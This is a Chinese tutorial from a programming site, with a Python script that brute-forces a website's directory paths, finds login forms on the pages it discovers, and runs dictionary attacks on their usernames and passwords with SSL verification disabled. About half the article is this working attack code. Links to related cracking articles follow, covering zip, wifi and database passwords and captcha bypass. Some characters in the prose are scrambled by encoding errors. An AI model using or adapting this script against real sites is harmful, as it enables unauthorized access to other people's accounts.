python遍歷路徑破解表單的示例
首先是利用python遍歷路徑,采用字典爆破的形式,當然如果只是單純的爆破路徑,簡單寫一個多線程腳本就行了。這里考慮如何對爆破到的路徑進行第二步利用,此處嘗試對猜解到的路徑進行表單發(fā)現(xiàn)及登陸爆破處理。
首先就是路徑爆破,采用多線程隊列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實現(xiàn)了一個css選擇器,獲取form表單中的input字段標簽,提取標簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁面,如沒有頁面默認在當前表單頁提交。
input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫的session登陸。獲取cookie,先采用session請求獲取cookie后,再采用session攜帶cookie進行請求提交。然后對輸入的驗證值進行判斷是否為登陸成功。
for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
以上就是python遍歷路徑破解表單的示例的詳細內(nèi)容,更多關(guān)于python 破解表單的資料請關(guān)注腳本之家其它相關(guān)文章!
- Python爬蟲如何破解JS加密的Cookie
- Python爬蟲實現(xiàn)Cookie模擬登錄
- Python暴力破解Mysql數(shù)據(jù)的示例
- python破解同事的壓縮包密碼
- python簡單利用字典破解zip文件口令
- Python破解BiliBili滑塊驗證碼的思路詳解(完美避開人機識別)
- 詳解python破解zip文件密碼的方法
- 如何使用Python破解ZIP或RAR壓縮文件密碼
- Python爬取破解無線網(wǎng)絡(luò)wifi密碼過程解析
- python 利用pywifi模塊實現(xiàn)連接網(wǎng)絡(luò)破解wifi密碼實時監(jiān)控網(wǎng)絡(luò)
相關(guān)文章
如何用OpenCV -python3實現(xiàn)視頻物體追蹤
OpenCV是一個基于BSD許可(開源)發(fā)行的跨平臺計算機視覺庫,可以運行在Linux、Windows、Android和Mac OS操作系統(tǒng)上。這篇文章主要介紹了如何用OpenCV -python3實現(xiàn)視頻物體追蹤,需要的朋友可以參考下2019-12-12python基于BeautifulSoup實現(xiàn)抓取網(wǎng)頁指定內(nèi)容的方法
這篇文章主要介紹了python基于BeautifulSoup實現(xiàn)抓取網(wǎng)頁指定內(nèi)容的方法,涉及Python使用BeautifulSoup模塊解析html網(wǎng)頁的相關(guān)技巧,具有一定參考借鑒價值,需要的朋友可以參考下2015-07-07Python Pygame實戰(zhàn)之實現(xiàn)經(jīng)營類游戲夢想小鎮(zhèn)代碼版
作為一名模擬經(jīng)營類游戲的發(fā)燒友,各種農(nóng)場類、醫(yī)院類、鐵路類的游戲玩兒了很多年。今天用代碼給大家打造一款夢想小鎮(zhèn)游戲,希望大家喜歡啦2022-12-12Python實現(xiàn)的樸素貝葉斯算法經(jīng)典示例【測試可用】
這篇文章主要介紹了Python實現(xiàn)的樸素貝葉斯算法,結(jié)合實例形式詳細分析了Python實現(xiàn)與使用樸素貝葉斯算法的具體操作步驟與相關(guān)實現(xiàn)技巧,需要的朋友可以參考下2018-06-06